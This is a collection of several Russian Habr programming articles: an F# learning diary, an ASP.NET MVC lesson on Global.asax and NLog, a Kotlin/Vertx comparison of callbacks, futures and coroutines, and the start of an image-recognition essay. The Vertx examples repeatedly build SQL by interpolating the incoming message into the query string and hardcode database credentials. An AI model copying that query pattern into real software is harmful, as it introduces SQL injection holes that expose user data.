sudo chmod +x mzdpi-vga-autoinstall-online
sudo ./mzdpi-vga-autoinstall-online
``` | https://habr.com/ru/post/545346/ | null | ru | null |
# Две недели с F#
А вы когда-нибудь записывали свои впечатления от изучения нового языка? Записывали все, что вам не понравилось, чтобы через пару недель изучения понять, насколько недальновидными и тупыми они были?
[](https://habr.com/ru/company/ruvds/blog/545740/)
На днях я понял F#, и попытаюсь описать словами мысль, стоящую за языком.
Почему ты не Powershell?
------------------------
Первым делом, как только уселся за F#, ознакомившись со стайл гайдом, начал переносить команды из Powershell, которые использую чаще всего. В языке есть пайп оператор, ну, можно программировать как на Powershell. Да?
Вот сейчас возьму и функционально получу корневую директорию файла, не используя богомерзкие классы классы из .net.
Все очень просто, берем путь, преобразовываем строку в массив помощью split, по System.IO.Path.DirectorySeparatorChar, берем последний элемент из массива и делаем .trim.
Да, на F# есть весь .net а в .net всё есть, но я не за этим сел. Вот так этот велосипед выглядит на Powershell:
```
$Path = «C:\users\test\folder»
$Trimer = $Path.Split(«\»)[$Path.Split(«\»).Count - 1]
$Path.Trim($Trimer)
```
В этом коде много проблем, он просто ужасен, но именно его я и буду переписывать.
Сейчас *просто* перепишу, ну что может пойти не так?
### ▍Не такой уж и умный компилятор
```
let splitPath inputObject: string =
let q = inputObject.Split(System.IO.Path.DirectorySeparatorChar)
q
```
Написав две строки кода, сразу получаю ошибку:
*FS0072 Поиск объекта неопределенного типа, основанного на информации до данной точки программы. Возможно, перед данной точкой программы потребуется аннотация типа, с целью ограничения типа объекта. Возможно, это позволит разрешить поиск.*
На разборку у меня ушло минут 30, я не мог поверить, оказывается, компилятор не смог определить, что имеет дело со строкой из типа входного объекта.
```
let splitPath inputObject: string =
let mutable inputObject : string = inputObject
let q = inputObject.Split(System.IO.Path.DirectorySeparatorChar)
q
```
Пришлось задавать типы прямо внутри функции лишний раз копируя входные данные.
### ▍LInq
Компилятор не делает всю работу за меня – ну и ладно. Такие сложности не остановят меня от написания своего собственного костыля.
Часть моей гениальной задумки лежала на Linq, на Trim и Last. Но Trim не работает со string, он работает c Char, то есть нужно переворачивать последний элемент листа и откусывать от строки по символу.
### ▍Нет ++
Linq работает не так, как я хочу – ну и не надо. Я посчитаю количество элементов в массиве и выберу нужный, а потом переверну его, разобью на char[] и обрежу таки стрингу!
Но как оказалось, не посчитаю, даже в мутабельной переменной нельзя без сильной головной боли сделать простой счетчик. Сделать то можно, но неудобно.
На этом месте я понял, что совсем ничего не понимаю и начал изучать язык.
F#, ну зачем?
-------------
А изучение языка я начал с просмотра чужого кода и лекций от крутых мужиков.
### ▍Printf, printfn, нейминг
Это покоробило меня еще в самом начале, функция printf выводит символы в той же строке, а printfn в новой строке. В этом весь F#.
Меня, как человека знакомого с концепцией функционального программирования из Powershell это покоробило, после Powershell’a любой другой язык кажется каким-то куцым.
Если бы я делал F#, я бы сделал какую-то такую функцию:
```
Out-Host «Input string» -Newline
```
Подход божественного павершелла к аргументам лучший, ибо не нужно держать в голове порядок указания параметров.
### ▍Napespaces и ленивый Open
Сразу после своего собственного костыля я попытался сделать сайт на основе шаблона ASP NET MVC. К сожалению, из MVC там только С, но контроллеры действительно получаются очень красивые и компактные.
В F# все файлы в F# ведут себя как скрипты. Переменная или функция не объявленные выше не могут использоваться ниже.
С помощью директивы Open мы открываем неймспейсы и модули. Это аналог Using и Import-Module. По аналогии с Powershell, я могу импортнуть файл в котором есть коллекция со всеми её функциями, вставить её в середину файла и все заработает прям как в павершелле? Нет.
Если в F# файл, его мало прочитать, нужно, чтобы хотя бы одна, причем любая функция из этого файла была вызвана.
### ▍||>, <|, почему не | ?
Оператор |> нужен чтобы передавать значение в функцию.
||> существует чтобы передавать кортежи в функцию.
|||> а этот монстр передает кортеж из трёх в функцию.
Работа с кортежами выглядит так:
```
(1, 2) ||> someFunction
```
А с единичной переменной вот так:
```
1 |> someFunction
```
Тут неясно, что мешает компилятору определить с чем он имеет дело, кортежи явно указываются как кортежи и две палки со стрелочкой рядом с ними выглядят избыточно.
Эта ошибка была совершена из-за другой ошибки, <| — Pipe back оператора. Он был введен, чтобы при композиции в некоторых случаях можно было избавиться от скобочек. К примеру это:
```
printfn «%s« (string «Value»)
```
Можно написать так:
```
printfn «%s« <| string «Value»
```
Дон Сайм, архитектор языка как раз говорил об этом [тут](https://youtu.be/1AZA1zoP-II?t=2129).
Почему ты не F#?
----------------
Помните о лекциях от крутых мужиков? Я прослушал лекцию от Скотта Влашина [и на этом моменте меня пробило](https://www.youtube.com/watch?v=2JB1_e5wZmU&t=2106s), я понял эту гигантскую мысль, осознание накрыло со всех сторон, это совсем другая парадигма. Я мог только сидеть на стуле и ухать.
### ▍Some, None
Скажем, мы пытаемся прочитать файл на двух языках. В F# и С#. К примеру, пытаемся прочитать txt файл и что-то сделать с его содержимым. Если что-то пойдет не так, код написанный на C# упадет сразу в двух местах, потому что StreamReader не может прочитать файл, которого нет, да и обработчик не умеет работать с нулём.
Вся задумка состоит в том, что даже если мы не возвращаем Value, мы всегда возвращаем что-то, у нас есть тип, у нас есть Value of None. И если мы не получили Some of Value, то получили None.
Как пример, работа с дотнетовскими коллекциями в F#:
```
let dictionary = Dictionary ()
let getFromDictionary key =
match dictionary.TryGetValue (key) with
| true, value -> Some (value)
| false, \_ -> None
```
Кстати, этот же метод можно реализовать и на C# с помощью расширений, например для этого есть LanguageExt.Core и Maybe монады, но на C# все это выглядит просто ужасно.
### ▍Discriminated union aka алгебраические типы
Чтобы прочитать файл на C# мы должны писать защитный код как минимум в 2 местах. Сначала мы должны проверить, что файл существует и что файл соответствует формату, чтобы не упал streamreader.
Чтобы не падал наш процессор, нужно проверить, что файл не пустой и что он тоже правильного формата. Это абсолютно легитимный способ писать код на C#, но не на F#.
К примеру, возьмем пример, где наша программа может работать только с txt и ini файлами.
```
type ValidInput =
| Txt of string
| Ini of string
type InvalidInput =
| WrongFormat
| FileDoesNotExists
| FileIsEmpty
| OtherBadFile
type Input =
| ValidInput of ValidInput
| InvalidInput of InvalidInput
```
На F# защитный код пишется только в самом начале. Благодаря мощной системе типов и паттерн матчингу мы можем хендлить все варианты развития событий, не смешивая защитную логику с остальной.
```
let input = testInputObject request
match input with
| ValidInput (x) -> invokeAction x
| InvalidInput (x) -> writeReject x
```
### ▍Непробиваемый дизайн языка
Непробиваемый ни нулями, ни багами. И гениальность состоит из нескольких компонентов:
* Нет return. Вернуть значение из функции можно только в конце после отработки всей логики.
* Нет if без else. Потому, что if без else обычно применяется там, где будет возвращен null.
* Type of Value. В F# всегда возвращается либо тип, либо значение какого-то типа, но никогда не Null.
Всего 3 принципа которые даже я понял. Всего три принципа были нужны, чтобы отлавливать баги на стадии компиляции.
### ▍Вся область проектирование перед глазами
Это вытекает из особенности языка, все файлы в F# ведут себя как скрипты. Переменная или функция не объявленные выше не могут использоваться ниже.
Что с одной стороны, это не дает писать код в вольной спагетти манере, но с другой, становится ясно, куда смотреть. Если функция используется ниже, то она объявлена выше.
Особенно прекрасно это смотрится на бизнес-логике связанной с ASP .NET. Все типы и все функции, связанные с определенной страницей на сайте – все на одном листе.
### ▍Имутабельность по умолчанию
На первый взгляд может показаться, что это просто оверхед по памяти и работа для сборщика мусора. Но как же приятно отлаживать код, когда знаешь, где и какая переменная изменилась.
Ты знаешь, что может меняться потому, что сам указал на то, что может меняться.
Так же я заметил, что чаще всего работаю с коллекциями, стрингбилдерами и т.п., зачем мне мутабельные ссылки на них?
### ▍DDD
Domain Driven Design в F# это абсолютно нативная вещь и пожалуй, лучший способ разработки. Если вы начнете писать на F#, то сможете и не заподозрить, что начали так делать.
Скажем, мы храним в базе данных данные о пользователях, где часть из них кошки, а другая – попугаи и нам нужно понять, с кем мы имеем дело. У пользователя есть поле с его ID и булёвое поле «HaveWings».
То вот это не F# и не DDD:
```
let getUserType key =
let user = getFromDatabase key
if user.HaveWings = true then "Parrot"
else "Cat"
```
В этом случае мы не используем паттерн матчинг, что делает его нерасширяемым и мы не используем типы, поэтому компилятор нам больше не помощник.
А это уже и F# и DDD:
```
type UserType =
| Parrot of User
| Cat of User
let getUserType key =
match getFromDatabase key with
| _, true -> Parrot
| _, false -> Cat
```
Тут мы обозначили алгебраические типы, и теперь в случае расширения кода, при добавлении еще одного типа пользователей, компилятор напомнит нам о всех местах, где нужно отхендлить новый тип.
Плюс мы используем паттерн матчинг, что в будущем, когда модель данных станет сложнее, позволит нам избавиться от вложенных else if и длинных свитчей.
В целом, можно программировать на F# и без DDD, но если можно сделать код человекопонятным, вот почему бы и нет?
---
Все то время, что я не знал, что пытался писать на смеси C# и Powershell даже не понимая того, что в F# то, как ты пишешь код так же важно, как и соблюдать синтаксис.
Я понял в чем суть имутабельности по дефолту, я понял DDD, я понял, в чем главная задумка языка.
Так я полюбил F# и мне больше не бомбит.
**Скрытый текст**
Монстр-велосипед был добавлен в статью в юмористических целях, но я таки его доделал. И в нем не меньше (если не больше) проблем, чем в коде выше, но тем не менее.
Если знаете, как сделать его еще лучше — свисните.
```
let splitPath inputObject =
let mutable inputObject : string = inputObject
let stringArray = inputObject.Split(System.IO.Path.DirectorySeparatorChar)
let mutable outString = ""
for i in stringArray do
outString <- i
let chararray = outString |> Seq.toList |> List.rev
for c in chararray do
inputObject <- inputObject.TrimEnd(c)
printfn "%s" inputObject
splitPath @"C:\users\test\folder"
```
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=machehin&utm_content=f-language#order) | https://habr.com/ru/post/545740/ | null | ru | null |
# ASP.NET MVC Урок 1. Начало
**Цель урока:** Изучить Global.asax и поведение запуска веб-приложения, обработки веб-запроса. Изучение Nuget и Подключение протоколирования.
##### Начало
Создадим приложение ASP.NET MVC 4 Web Application «Lesson1» (рис 1.):
Не будем запускать приложение, а сразу установим (если до этого не сделали) NuGet расширение:
NuGet Package Manager – это расширение для Visual Studio, которое позволяет добавлять в существующие проекты модули, которые значительно упрощают работу. При создании «Basic» asp.net mvc4 приложения в само приложение было добавлено изначально много модулей. Их список мы можем найти, кликнув в Manage NuGet Packages… в контекстном меню проекта:
О них по порядку:
* **Entity Framework** – обеспечивает работу с БД
* **jQuery (+ jQuery UI, jQuery Validation)** – популярный javascript framework (о нем еще пойдет речь позже).
* **Json.NET** – классы для работы с json-форматом данных.
* **knockoutjs** – javascript библиотека для работы с Model View ViewModel архитектурой. (<http://knockoutjs.com/>)
* **Microsoft.Net Framework 4 Http Client Libraries** – программный интерфейс для работы с HttpContext-ом.
* **Microsoft ASP.NET MVC 4** – собственно, классы паттерна проектирования MVC (то, что есть предметом изучения)
* **Microsoft ASP.NET Razor 2** – view-движок. Есть еще ASPX и Spark – мы о них также будем говорить позже
* **Microsoft ASP.NET Universal Providers Core Libraries (Microsoft ASP.NET Universal Providers for LocalDB)** – предоставляет инструменты для поддержки всех SQL Server 2005 (и более поздних) и для SQL Azure.
* **Microsoft ASP.NET Web API (Microsoft ASP.NET Web API Client Libraries, Microsoft ASP.NET Web API Core Libraries, Microsoft ASP.NET Web API Web Host)** – для создания REST приложений, работа с XML, JSON и так далее
* **Microsoft ASP.NET Web Optimization Framework** – оптимизирует передачу данных, например, минимизирует js-код
* **Microsoft ASP.NET WebPages 2** – набор классов для работы во View
* **Microsoft jQuery Unobtrusive Ajax (Microsoft jQuery Unobtrusive Validation)** – jQuery библиотека для поддержки ajax/валидации
* **Microsoft.Web.Infrastructure** – позволяет динамически регистрировать HTTP-модули во время выполнения
* **Modernizr** – js-библиотека, которая позволяет использовать html5 и css3 в старых браузерах
* **WebGrease** – позволяет минифицировать html, css, js.
Теперь, когда мы примерно прикинули, из чего состоит наше приложение, давайте запустим его.
Для этого необходимо создать HomeController:
Для метода (действия) Index добавим View и выберем ~Views/Shared/\_Layout.cshtml в качестве layout (типа master page):
Собственно, можем запускать.
Всё что мы увидим – это:
Почему контроллер надо было назвать именно Home и как это работает, мы будем изучать более подробно в следующих уроках.
##### Global.asax
А сейчас обратим внимание на файл Global.asax:
```
public class MvcApplication : System.Web.HttpApplication
{
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}
```
Класс MvcApplication наследует HttpApplication и содержит инструкции для инициализации приложения. Есть еще несколько событий, на которые можно добавить код. Рассмотрим их:
* **public void Init()** – приложение инициализируется или при первом вызове. Оно вызывается для всех экземпляров объекта HttpApplication.
* **public void Dispose()** – вызывается непосредственно перед уничтожением объекта HttpApplication. Это идеальное место для очистки ранее используемых ресурсов.
* **Application\_Error** – наступает, когда необработанное исключение случается в приложении.
* **Application\_Start** – наступает, когда первый экземпляр HttpApplication создается. Это позволяет создавать объекты доступные для всех экземпляров класса HttpApplication.
* **Application\_End** – наступает, когда все созданные ранее экземпляры класса HttpApplication уничтожены. Это событие наступает только однажды в течение всего времени жизни приложения.
* **Application\_BeginRequest** – наступает, когда приложение получает запрос. Первый раз это событие наступает для запроса страницы, когда пользователь вводит URL.
* **Application\_EndRequest** – Последнее событие, которое наступает для запроса к приложению.
* **Application\_PreRequestHandlerExecute** – наступает прежде, чем ASP.NET запустит обработчик страницы или веб-службу.
* **Application\_PostRequestHandlerExecute** – наступает, когда ASP.NET заканчивает обработку.
* **Applcation\_PreSendRequestHeaders** – наступает перед тем, как ASP.NET посылает клиенту (браузеру) HTTP заголовки.
* **Application\_PreSendContent** – наступает перед тем, как ASP.NET посылает клиенту (браузеру) HTTP содержимое.
* **Application\_AcquireRequestState** – наступает, когда ASP.NET получает текущее состояние (состояние сессии), связанное с текущим запросом.
* **Application\_ReleaseRequestState** – наступает, когда ASP.NET завершает исполнение всех событий. В результате все модули сохраняют свои текущие состояния.
* **Application\_ResolveRequestCache** – наступает, когда ASP.NET выполняет запрос авторизации. Это позволяет модулям кеширования обработать запрос и обслужить из кэша, минуя обработчик выполнения.
* **Application\_UpdateRequestCache** – наступает, когда ASP.NET завершает выполнение обработчика, чтобы модули кеширования могли сохранить результат для использования в последующих ответах.
* **Application\_AuthenticateRequest** – наступает, когда модуль идентификации устанавливает личность текущего пользователя как действительную. В текущий момент, учетные данные пользователя уже проверены.
* **Application\_AuthorizeRequest** – наступает, когда модуль авторизации подтверждает, что пользователь может иметь доступ к ресурсам.
* **Session\_Start** – наступает, когда новый пользователь заходит на сайт.
* **Session\_End** – наступает, когда истекает время сессии пользователя, или он покидает сайт.
Хорошо. Теперь, чтобы воочию убедимся, что всё именно так и происходит, добавим протоколирование и сделаем это через добавление NLog модуля в NuGet.
##### Package Manager Console
В NuGet есть консоль для выполнения команд по установке\удалению\поиску модулей, и других вещей, типа [скаффолдинга](http://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D1%84%D1%84%D0%BE%D0%BB%D0%B4%D0%B8%D0%BD%D0%B3).
Для вывода всех установленных модулей пишем:
```
Get-Package
```
Для получения всех доступных к установке модулей:
```
Get-Package –ListAvailable
```
Для получения всех доступных модулей с названием NLog
```
Get-Package -ListAvailable -Filter NLog
```
Или
```
Get-Package -ListAvailable | where {$_.Id -match "NLog"} (это дольше)
```
Для установки модуля NLog необходимо вначале выбрать проект (если их в солюшене больше одного) и ввести команду:
```
Install-Package NLog
```
Файлы копируются в проект, добавляются ссылки на сборки и web.config может быть обновлен.
Для удаления из проекта модуля необходимо, чтобы он не был связан с другими модулями. Удаляем так:
```
Uninstall-Package NLog
```
##### NLog
После установки пользуемся документацией на NLog (<https://github.com/nlog/nlog/wiki/Tutorial>) и добавляем в Web.config:
```
```
```
```
Мы ее потом исправим. Добавим в код (Global.asax.cs):
```
public class MvcApplication : NinjectHttpApplication
{
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
```
и
```
protected void Application_Start()
{
logger.Info("Application Start");
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
public void Init()
{
logger.Info("Application Init");
}
public void Dispose()
{
logger.Info("Application Dispose");
}
protected void Application_Error()
{
logger.Info("Application Error");
}
protected void Application_End()
{
logger.Info("Application End");
}
```
Запустим и завершим приложение (Stop). Откроем файл C://file.txt. Мы увидим, какие события происходили.
```
2012-09-18 19:18:11.5668|INFO|Lesson1.MvcApplication|Application Start
2012-09-18 19:18:13.7319|INFO|Lesson1.MvcApplication|Application Init
2012-09-18 19:18:14.2709|INFO|Lesson1.MvcApplication|Application Init
2012-09-18 19:18:14.2769|INFO|Lesson1.MvcApplication|Application BeginRequest
2012-09-18 19:18:14.3579|INFO|Lesson1.MvcApplication|Application AuthenticateRequest
2012-09-18 19:18:14.3579|INFO|Lesson1.MvcApplication|Application AuthorizeRequest
2012-09-18 19:18:14.3579|INFO|Lesson1.MvcApplication|Application ResolveRequestCache
2012-09-18 19:18:14.3989|INFO|Lesson1.MvcApplication|Session Start
2012-09-18 19:18:14.3989|INFO|Lesson1.MvcApplication|Application AcquireRequestState
2012-09-18 19:18:14.3989|INFO|Lesson1.MvcApplication|Application PreRequestHandlerExecute
2012-09-18 19:18:15.9580|INFO|Lesson1.MvcApplication|Application PreRequestHandlerExecute
2012-09-18 19:18:15.9580|INFO|Lesson1.MvcApplication|Application ReleaseRequestState
2012-09-18 19:18:15.9580|INFO|Lesson1.MvcApplication|Application UpdateRequestCache
2012-09-18 19:18:15.9580|INFO|Lesson1.MvcApplication|Application EndRequest
2012-09-18 19:18:15.9580|INFO|Lesson1.MvcApplication|Application PreSendRequestHeaders
2012-09-18 19:18:35.6061|INFO|Lesson1.MvcApplication|Session End
2012-09-18 19:18:38.0833|INFO|Lesson1.MvcApplication|Application Dispose
2012-09-18 19:18:38.0833|INFO|Lesson1.MvcApplication|Application End
2012-09-18 19:18:39.1383|INFO|Lesson1.MvcApplication|Application Dispose
```
В Application\_Start выполняется регистрация:
* Area (области),
* Filter (фильтры),
* Bundle (комплекты),
* Route (маршруты).
Подробности по инициализации Filter, Вundle и Route находятся в папке App\_Start.
##### WebActivator
WebActivator – это модуль, который позволяет запустить код до самого первого старта App\_Start. Это может быть необходимо для того, чтобы, к примеру, создать тестовую БД перед запуском.
Установим:
```
Install-Package WebActivatorEx
```
Добавим класс в App\_Start папку:
```
[assembly: WebActivator.PreApplicationStartMethod(typeof(PreStartApp), "Start")]
namespace Lesson1.App_Start
{
public static class PreStartApp
{
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
///
/// Метод запускается один раз перед стартом приложения
///
public static void Start()
{
logger.Info("Application PreStart");
}
}
}
```
В файле логов увидим, что строка Application PreStart исполняется раньше Application Start:
```
2012-09-19 10:29:01.3950|INFO|Lesson1.App_Start.PreStartApp|Application PreStart
2012-09-19 10:29:01.6290|INFO|Lesson1.MvcApplication|Application Start
```
Создадим четыре файла отдельно для trace (трассировки), debug (отладки), info (информации), error (ошибки). Определим место записи: **/Contents/logs/[текущая дата]** Перепишем конфигурацию:
```
```
##### Log2Console
Для NLog есть еще классная программа Log2Console, которая позволяет получать логи прямо в окне программы.
Запускаем программу и настраиваем приемщик:
В Web.config пишем:
```
```
Обращаю внимание, что писать надо **address=”tcp4://…”**, а не **address=”tcp://…”**
Все исходники находятся по адресу <https://bitbucket.org/chernikov/lessons> | https://habr.com/ru/post/176001/ | null | ru | null |
# Три парадигмы асинхронного программирования в Vertx
Я хочу показать три парадигмы асинхронного программирования — callbacks, futures, coroutines на примере простого веб приложения на фрейморке Vertx. Код будем писать на Котлине.
Допустим у нас есть приложение, которое получает некую строку в HTTP запросе, по ней ищет URL в базе данных, идет по этому URL и его содержимое отправляет обратно клиенту.
Vertx задуман как асинхронный фрейворк для высоконагруженных приложений, использует netty, new IO, event bus
Как принято в Vertx один Verticle (аналог актора, если Вы знаете Akka) получает запрос, отправляет по event bus строку по которой надо искать URL некоему другому BusinessVerticle, который и занимается собственно работой.
```
object Main {
@JvmStatic
fun main(args: Array) {
val vertx = Vertx.vertx()
vertx.deployVerticle(HttpVerticle())
vertx.deployVerticle(BusinessVerticle())
}
}
```
```
class HttpVerticle : AbstractVerticle() {
@Throws(Exception::class)
override fun start(startFuture: Future) {
val router = createRouter()
vertx.createHttpServer()
.requestHandler(router)
.listen(8080) { result ->
if (result.succeeded()) {
startFuture.complete()
} else {
startFuture.fail(result.cause())
}
}
}
private fun createRouter(): Router = Router.router(vertx).apply {
get("/").handler(handlerRoot)
}
private val handlerRoot = Handler { rc ->
vertx.eventBus().send("my.addr", rc.request().getParam("id") ?: "")
{ resp: AsyncResult> ->
if (resp.succeeded()) {
rc.response().end(resp.result().body())
} else {
rc.fail(500)
}
}
}
}
```
В стандартном API вся асинхронность делается через колбеки, поэтому начальная имплементация BusinessVerticle будет выглядеть так:
```
class BusinessVerticle : AbstractVerticle() {
private lateinit var dbclient: JDBCClient
private lateinit var webclient: WebClient
override fun start() {
vertx.eventBus().consumer("my.addr") { message ->
handleMessage(message)
}
dbclient = JDBCClient.createShared(
vertx, JsonObject()
.put("url", "jdbc:postgresql://localhost:5432/payroll")
.put("driver\_class", "org.postgresql.Driver")
.put("user", "vala")
.put("password", "vala")
.put("max\_pool\_size", 30)
)
val options = WebClientOptions()
.setUserAgent("My-App/1.2.3")
options.isKeepAlive = false
webclient = WebClient.create(vertx, options)
}
private fun handleMessage(message: Message) {
dbclient.getConnection { res ->
if (res.succeeded()) {
val connection = res.result()
connection.query("SELECT url FROM payee\_company where name='${message.body()}'") { res2 ->
if (res2.succeeded()) {
try {
val url = res2.result().rows[0].getString("url").removePrefix("http://")
webclient
.get(url,"/")
.send { ar ->
if (ar.succeeded()) {
val response = ar.result()
message.reply(response.bodyAsString())
} else {
message.fail(500, ar.cause().message)
}
}
} catch (e: Exception) {
message.fail(500, e.message)
}
} else {
message.fail(500, res2.cause().message)
}
}
} else {
message.fail(500, res.cause().message)
}
}
}
}
```
Выглядет прямо скажем, так себе — callbacks hell, особенно доставляет обработка ошибок.
Попробуем улучшить ситуацию, как нас учат гуру колбеков — выделением каждого колбека в отдельный метод:
```
class BusinessVerticle: AbstractVerticle() {
private lateinit var dbclient: JDBCClient
private lateinit var webclient: WebClient
override fun start() {
vertx.eventBus().consumer("my.addr") { message ->
handleMessage(message)
}
dbclient = JDBCClient.createShared(
vertx, JsonObject()
.put("url", "jdbc:postgresql://localhost:5432/payroll")
.put("driver\_class", "org.postgresql.Driver")
.put("user", "vala")
.put("password", "vala")
.put("max\_pool\_size", 30)
)
val options = WebClientOptions()
.setUserAgent("My-App/1.2.3")
options.isKeepAlive = false
webclient = WebClient.create(vertx, options)
}
private fun handleMessage(message: Message) {
dbclient.getConnection { res ->
handleConnectionCallback(res, message)
}
}
private fun handleConnectionCallback(
res: AsyncResult,
message: Message
) {
if (res.succeeded()) {
val connection = res.result()
connection.query("SELECT url FROM payee\_company where name='${message.body()}'") { res2 ->
handleQueryCallBack(res2, message)
}
} else {
message.fail(500, res.cause().message)
}
}
private fun handleQueryCallBack(
res2: AsyncResult,
message: Message
) {
if (res2.succeeded()) {
try {
val url = res2.result().rows[0].getString("url").removePrefix("http://")
webclient
.get(url, "/")
.send { ar ->
handleHttpCallback(ar, message)
}
} catch (e: Exception) {
message.fail(500, e.message)
}
} else {
message.fail(500, res2.cause().message)
}
}
private fun handleHttpCallback(
ar: AsyncResult>,
message: Message
) {
if (ar.succeeded()) {
// Obtain response
val response = ar.result()
message.reply(response.bodyAsString())
} else {
message.fail(500, ar.cause().message)
}
}
}
```
Ну что, стало лучше. Но тоже так себе.
Много строчек, не особо читаемый код, надо тащить за собой объект *message* для ответа, размазанная по коду обработка ошибок.
Попробуем переписать эту хрень пользуясь *Futures*
Особенно хороши *Futures* тем, что их можно легко комбинировать пользуясь *Future.compose()*
Для начала переведем стандартные методы Vertx, которые принимают колбек и ничего не возвращают, в методы, которые возвращают Future.
Воспользуемся возможностью Котлина добавлять методы в существующие классы:
```
fun JDBCClient.getConnectionF(): Future {
val f = Future.future()
getConnection { res ->
if (res.succeeded()) {
val connection = res.result()
f.complete(connection)
} else {
f.fail(res.cause())
}
}
return f
}
fun SQLConnection.queryF(query:String): Future {
val f = Future.future()
query(query) { res ->
if (res.succeeded()) {
val resultSet = res.result()
f.complete(resultSet)
} else {
f.fail(res.cause())
}
}
return f
}
fun HttpRequest.sendF(): Future> {
val f = Future.future>()
send() { res ->
if (res.succeeded()) {
val response = res.result()
f.complete(response)
} else {
f.fail(res.cause())
}
}
return f
}
```
И превратим наш BusinessVerticle.handleMessage в такое:
```
private fun handleMessage(message: Message) {
val content = getContent(message)
content.setHandler{res->
if (res.succeeded()) {
// Obtain response
val response = res.result()
message.reply(response)
} else {
message.fail(500, res.cause().message)
}
}
}
private fun getContent(message: Message): Future {
val connection = dbclient.getConnectionF()
val resultSet = connection.compose { it.queryF("SELECT url FROM payee\_company where name='${message.body()}'") }
val url = resultSet.map { it.rows[0].getString("url").removePrefix("http://") }
val httpResponse = url.compose { webclient.get(it, "/").sendF() }
val content = httpResponse.map { it.bodyAsString() }
return content
}
```
Выглядит классно.
Простой, читаемый код. Обработка ошибок в одном месте. Если надо, можно сделать разную реакцию на разные исключения, или, скажем, вынести в отдельную функцию.
Мечта поэта!
Но что будет, если нам надо по какому то условию прекратить цепочку *Futures*?
Например если нет соответствующей записи в БД мы хотим не выбросить исключение (и код 500 клиенту), а вернуть строку «No record» с кодом 200.
Единственный способ (который я знаю) прекратить цепочку из *Future.compose()* — выбросить исключение.
Т.е. надо сделать что то такое: определить свой тип исключения, выбросить это исключение если нет записи в базе, обработать это исключение особенным образом.
```
class NoContentException(message:String):Exception(message)
private fun getContent(message: Message): Future {
val connection = dbclient.getConnectionF()
val resultSet = connection.compose { it.queryF("SELECT url FROM payee\_company where name='${message.body()}'") }
val url = resultSet.map {
if (it.numRows<1)
throw NoContentException("No records")
it.rows[0].getString("url").removePrefix("http://")
}
val httpResponse = url.compose { webclient.get(it, "/").sendF() }
val content = httpResponse.map { it.bodyAsString() }
return content
}
private fun handleMessage(message: Message) {
val content = getContent(message)
content.setHandler{res->
if (res.succeeded()) {
// Obtain response
val response = res.result()
message.reply(response)
} else {
if (res.cause() is NoContentException)
message.reply(res.cause().message)
else
message.fail(500, res.cause().message)
}
}
}
```
Работает!
Но уже выглядит хуже — использовать исключения для управления потоком исполнения — не красиво. А если таких случаев, которые требуют отдельной обработки будет много — код станет намного менее читаемым.
Попробуем сделать то же самое с корутинами котлина.
Про корутины написано много, в том числе на Хабре ([1](https://habr.com/ru/company/e-Legion/blog/442920/),[2](https://habr.com/ru/company/jugru/blog/415335/),[3](https://habr.com/ru/company/alfa/blog/336228/),...) поэтому отдельно про них писать не буду.
В Vertx последних версий автоматически генерируются корутинные версии всех методов, которые должны принимать колбек.
Подключаем библиотеки
'vertx-lang-kotlin-coroutines'
'vertx-lang-kotlin'
и получаем, например
```
JDBCClient.getConnectionAwait()
SQLConnection.queryAwait()
```
и т.д.
Тогда наши методы обработки сообщения превращаются во что то милое и простое:
```
private suspend fun handleMessage(message: Message) {
try {
val content = getContent(message)
message.reply(content)
} catch(e:Exception){
message.fail(500, e.message)
}
}
private suspend fun getContent(message: Message): String {
val connection = dbclient.getConnectionAwait()
val resultSet = connection.queryAwait("SELECT url FROM payee\_company where name='${message.body()}'")
val url = resultSet.rows[0].getString("url").removePrefix("http://")
val httpResponse = webclient.get(url, "/").sendAwait()
val content = httpResponse.bodyAsString()
return content
}
```
ну и надо изменить вызов предоставив контекст корутины:
```
vertx.eventBus().consumer("my.addr") { message ->
GlobalScope.launch(vertx.dispatcher()) { handleMessage(message)}
}
```
Что тут происходит?
Все эти методы с Await вызывают код асинхронно, ждут от него результата, а пока ждут, поток (thread) переключается на исполнение другой корутины.
Если мы посмотрим под капот, то это выглядит так:
```
suspend fun SQLClient.getConnectionAwait(): SQLConnection {
return awaitResult {
this.getConnection(it)
}
}
suspend fun awaitResult(block: (h: Handler>) -> Unit): T {
val asyncResult = awaitEvent(block)
if (asyncResult.succeeded()) return asyncResult.result()
else throw asyncResult.cause()
}
suspend fun awaitEvent(block: (h: Handler) -> Unit): T {
return suspendCancellableCoroutine { cont: CancellableContinuation ->
try {
block.invoke(Handler { t ->
cont.resume(t)
})
} catch (e: Exception) {
cont.resumeWithException(e)
}
}
}
```
Чем то похоже на нашу самописную реализацию с Futures.
Но тут мы получаем нормальный код — String как возвращаемый тип (вместо Future), try/catch вместо уродливого колбека с AsyncResult
И если нам надо прекратить посредине цепочку исполнения, это выглядит естественно, без всяких исключений:
```
private suspend fun getContent(message: Message): String {
val connection = dbclient.getConnectionAwait()
val resultSet = connection.queryAwait("SELECT url FROM payee\_company where name='${message.body()}'")
if (resultSet.numRows<1)
return "No records"
val url = resultSet.rows[0].getString("url").removePrefix("http://")
val httpResponse = webclient.get(url, "/").sendAwait()
val content = httpResponse.bodyAsString()
return content
}
```
По моему, прекрасно! | https://habr.com/ru/post/449092/ | null | ru | null |
# Чтобы распознавать картинки, не нужно распознавать картинки
Посмотрите на это фото.
Это совершенно обычная фотография, найденная в Гугле по запросу «железная дорога». И сама дорога тоже ничем особенным не отличается.
Что будет, если убрать это фото и попросить вас нарисовать железную дорогу по памяти?
Если вы ребенок лет семи, и никогда раньше не учились рисовать, то очень может быть, что у вас получится что-то такое:
*Упс. Кажется, что-то пошло не так.*
1. The strange way we see things
================================
Давайте еще раз вернемся к рельсам на первой картинке и попробуем понять, что не так.
